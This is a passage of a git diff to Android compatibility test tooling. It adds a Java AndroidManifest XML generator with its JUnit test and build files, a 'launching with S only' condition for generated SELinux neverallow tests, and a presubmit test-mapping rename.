+        if (pkgName == null) {
+            error("Missing package name");
+        } else if (instrumentName == null) {
+            error("Missing instrumentation name");
+        } else if (activities.isEmpty()) {
+            error("No activities");
+        } else if (output == null) {
+            error("Missing output file");
+        }
+
+        FileOutputStream out = null;
+        try {
+            out = new FileOutputStream(output);
+            generate(
+                    out,
+                    pkgName,
+                    instrumentName,
+                    minSdk,
+                    targetSdk,
+                    permissions,
+                    activities,
+                    libraries,
+                    optionalLibs);
+        } catch (Exception e) {
+            System.err.println("Couldn't create manifest file");
+        } finally {
+            if (out != null) {
+                try {
+                    out.close();
+                } catch (Exception e) {
+                    // Ignore
+                }
+            }
+        }
+    }
+
+    /*package*/ static void generate(
+            OutputStream out,
+            String pkgName,
+            String instrumentName,
+            String minSdk,
+            String targetSdk,
+            List<String> permissions,
+            List<String> activities,
+            List<String> libraries,
+            List<String> optionalLibs)
+            throws Exception {
+        final String ns = null;
+        KXmlSerializer serializer = new KXmlSerializer();
+        serializer.setOutput(out, "UTF-8");
+        serializer.startDocument("UTF-8", true);
+        serializer.setFeature("http://xmlpull.org/v1/doc/features.html#indent-output", true);
+        serializer.startTag(ns, MANIFEST);
+        serializer.attribute(ns, "xmlns:android", "http://schemas.android.com/apk/res/android");
+        serializer.attribute(ns, "package", pkgName);
+        serializer.startTag(ns, USES_SDK);
+        serializer.attribute(ns, "android:minSdkVersion", minSdk);
+        if (targetSdk != null) {
+            serializer.attribute(ns, "android:targetSdkVersion", targetSdk);
+        }
+        serializer.endTag(ns, USES_SDK);
+        for (String permission : permissions) {
+            serializer.startTag(ns, USES_PERMISSION);
+            serializer.attribute(ns, "android:name", permission);
+            serializer.endTag(ns, USES_PERMISSION);
+        }
+        serializer.startTag(ns, APPLICATION);
+        for (String library : libraries) {
+            serializer.startTag(ns, USES_LIBRARY);
+            serializer.attribute(ns, "android:name", library);
+            serializer.endTag(ns, USES_LIBRARY);
+        }
+        for (String optionalLib : optionalLibs) {
+            serializer.startTag(ns, USES_LIBRARY);
+            serializer.attribute(ns, "android:name", optionalLib);
+            serializer.attribute(ns, "android:required", "false");
+            serializer.endTag(ns, USES_LIBRARY);
+        }
+        for (String activity : activities) {
+            serializer.startTag(ns, ACTIVITY);
+            serializer.attribute(ns, "android:name", activity);
+            serializer.endTag(ns, ACTIVITY);
+        }
+        serializer.endTag(ns, APPLICATION);
+        serializer.startTag(ns, INSTRUMENTATION);
+        serializer.attribute(ns, "android:name", instrumentName);
+        serializer.attribute(ns, "android:targetPackage", pkgName);
+        serializer.endTag(ns, INSTRUMENTATION);
+        serializer.endTag(ns, MANIFEST);
+        serializer.endDocument();
+        out.flush();
+    }
+
+    private static void error(String message) {
+        System.err.println(message);
+        System.err.println(USAGE);
+        System.exit(1);
+    }
+}
diff --git a/tools/manifest-generator/tests/Android.bp b/tools/manifest-generator/tests/Android.bp
new file mode 100644
index 0000000..b8f012d
--- /dev/null
+++ b/tools/manifest-generator/tests/Android.bp
@@ -0,0 +1,24 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "compatibility-manifest-generator-tests",
+
+    srcs: ["src/**/*.java"],
+
+    libs: [
+        "compatibility-manifest-generator",
+        "junit",
+    ],
+}
diff --git a/tools/manifest-generator/tests/run_tests.sh b/tools/manifest-generator/tests/run_tests.sh
new file mode 100755
index 0000000..0a77a9b
--- /dev/null
+++ b/tools/manifest-generator/tests/run_tests.sh
@@ -0,0 +1,27 @@
+#!/bin/bash
+
+# Copyright (C) 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Helper script for running unit tests for compatibility libraries
+
+HARNESS_DIR=$(dirname ${0})/../../../..
+source ${HARNESS_DIR}/test_defs.sh
+
+JARS="
+    compatibility-manifest-generator\
+    compatibility-manifest-generator-tests"
+
+run_tests "com.android.compatibility.common.generator.ManifestGeneratorTest" "${JARS}" "${@}"
+
diff --git a/tools/manifest-generator/tests/src/com/android/compatibility/common/generator/ManifestGeneratorTest.java b/tools/manifest-generator/tests/src/com/android/compatibility/common/generator/ManifestGeneratorTest.java
new file mode 100644
index 0000000..c95ec64
--- /dev/null
+++ b/tools/manifest-generator/tests/src/com/android/compatibility/common/generator/ManifestGeneratorTest.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.generator;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.List;
+
+import junit.framework.TestCase;
+
+/** Unit tests for {@link ManifestGenerator}. */
+public class ManifestGeneratorTest extends TestCase {
+
+    private static final String PACKAGE = "test.package";
+    private static final String INSTRUMENT = "test.package.TestInstrument";
+    private static final String MIN_SDK = "8";
+    private static final String TARGET_SDK = "17";
+    private static final String MANIFEST =
+            "<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>\r\n"
+                    + "<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\" "
+                    + "package=\"test.package\">\r\n"
+                    + "  <uses-sdk android:minSdkVersion=\"8\" android:targetSdkVersion=\"17\" "
+                    + "/>\r\n"
+                    + "%s"
+                    + "  <application>\r\n"
+                    + "%s"
+                    + "%s"
+                    + "%s"
+                    + "  </application>\r\n"
+                    + "  <instrumentation android:name=\"test.package.TestInstrument\" "
+                    + "android:targetPackage=\"test.package\" />\r\n"
+                    + "</manifest>";
+    private static final String PERMISSION = "  <uses-permission android:name=\"%s\" />\r\n";
+    private static final String PERMISSION_A = "android.permission.PermissionA";
+    private static final String PERMISSION_B = "android.permission.PermissionB";
+    private static final String ACTIVITY = "    <activity android:name=\"%s\" />\r\n";
+    private static final String ACTIVITY_A = "test.package.ActivityA";
+    private static final String ACTIVITY_B = "test.package.ActivityB";
+    private static final String USES_LIBRARY = "    <uses-library android:name=\"%s\" />\r\n";
+    private static final String USES_OPTIONAL_LIBRARY =
+            "    <uses-library android:name=\"%s\" android:required=\"false\" />\r\n";
+    private static final String LIBRARY = "test.runner.library";
+    private static final String OPTIONAL_LIBRARY = "android.test.base";
+
+    public void testManifest() throws Exception {
+        List<String> permissions = new ArrayList<>();
+        permissions.add(PERMISSION_A);
+        permissions.add(PERMISSION_B);
+        List<String> activities = new ArrayList<>();
+        activities.add(ACTIVITY_A);
+        activities.add(ACTIVITY_B);
+        List<String> libraries = new ArrayList<>();
+        libraries.add(LIBRARY);
+        List<String> optionalLibs = new ArrayList<>();
+        optionalLibs.add(OPTIONAL_LIBRARY);
+        OutputStream output = new OutputStream() {
+            private StringBuilder string = new StringBuilder();
+            @Override
+            public void write(int b) throws IOException {
+                this.string.append((char) b);
+            }
+
+            @Override
+            public String toString(){
+                return this.string.toString();
+            }
+        };
+        ManifestGenerator.generate(
+                output,
+                PACKAGE,
+                INSTRUMENT,
+                MIN_SDK,
+                TARGET_SDK,
+                permissions,
+                activities,
+                libraries,
+                optionalLibs);
+        String permissionXml = String.format(PERMISSION, PERMISSION_A)
+                + String.format(PERMISSION, PERMISSION_B);
+        String activityXml = String.format(ACTIVITY, ACTIVITY_A)
+                + String.format(ACTIVITY, ACTIVITY_B);
+        String libraryXml = String.format(USES_LIBRARY, LIBRARY);
+        String optionalLibraryXml = String.format(USES_OPTIONAL_LIBRARY, OPTIONAL_LIBRARY);
+        String expected =
+                String.format(MANIFEST, permissionXml, libraryXml, optionalLibraryXml, activityXml);
+        assertEquals("Wrong manifest output", expected, output.toString());
+    }
+
+}
diff --git a/tools/selinux/SELinuxNeverallowTestFrame.py b/tools/selinux/SELinuxNeverallowTestFrame.py
index e055bc7..740e983 100644
--- a/tools/selinux/SELinuxNeverallowTestFrame.py
+++ b/tools/selinux/SELinuxNeverallowTestFrame.py
@@ -94,6 +94,10 @@
         return PropertyUtil.getFirstApiLevel(mDevice) > 29;
     }
 
+    private boolean isDeviceLaunchingWithS() throws Exception {
+        return PropertyUtil.getFirstApiLevel(mDevice) > 30;
+    }
+
     private boolean isCompatiblePropertyEnforcedDevice() throws Exception {
         return android.security.cts.SELinuxHostTest.isCompatiblePropertyEnforcedDevice(mDevice);
     }
@@ -112,6 +116,7 @@
         String neverallowRule = "$NEVERALLOW_RULE_HERE$";
         boolean fullTrebleOnly = $TREBLE_ONLY_BOOL_HERE$;
         boolean launchingWithROnly = $LAUNCHING_WITH_R_ONLY_BOOL_HERE$;
+        boolean launchingWithSOnly = $LAUNCHING_WITH_S_ONLY_BOOL_HERE$;
         boolean compatiblePropertyOnly = $COMPATIBLE_PROPERTY_ONLY_BOOL_HERE$;
 
         if ((fullTrebleOnly) && (!isFullTrebleDevice())) {
@@ -122,6 +127,10 @@
             // This test applies only to devices launching with R or later but this device isn't one
             return;
         }
+        if ((launchingWithSOnly) && (!isDeviceLaunchingWithS())) {
+            // This test applies only to devices launching with S or later but this device isn't one
+            return;
+        }
         if ((compatiblePropertyOnly) && (!isCompatiblePropertyEnforcedDevice())) {
             // This test applies only to devices on which compatible property is enforced but this
             // device isn't one
diff --git a/tools/selinux/SELinuxNeverallowTestGen.py b/tools/selinux/SELinuxNeverallowTestGen.py
index 8ecd2b6a..a28863b 100755
--- a/tools/selinux/SELinuxNeverallowTestGen.py
+++ b/tools/selinux/SELinuxNeverallowTestGen.py
@@ -18,7 +18,12 @@
 
 # full-Treble only tests are inside sections delimited by BEGIN_{section} and
 # END_{section} comments.
-sections = ["TREBLE_ONLY", "COMPATIBLE_PROPERTY_ONLY", "LAUNCHING_WITH_R_ONLY"]
+sections = [
+    "TREBLE_ONLY",
+    "COMPATIBLE_PROPERTY_ONLY",
+    "LAUNCHING_WITH_R_ONLY",
+    "LAUNCHING_WITH_S_ONLY",
+]
 
 # extract_neverallow_rules - takes an intermediate policy file and pulls out the
 # neverallow rules by taking all of the non-commented text between the 'neverallow'
diff --git a/tools/vm-tests-tf/TEST_MAPPING b/tools/vm-tests-tf/TEST_MAPPING
index a566107..4fbca3b 100644
--- a/tools/vm-tests-tf/TEST_MAPPING
+++ b/tools/vm-tests-tf/TEST_MAPPING
@@ -1,5 +1,5 @@
 {
-  "presubmit": [
+  "presubmit-large": [
     {
       "name": "vm-tests-tf"
     }